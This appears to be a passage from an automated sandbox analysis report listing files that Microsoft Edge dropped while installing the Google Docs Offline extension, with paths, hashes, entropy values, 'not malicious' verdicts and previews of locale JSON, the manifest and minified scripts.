SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\e2b1a9cf-dbfe-4a17-be8c-604802655791.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
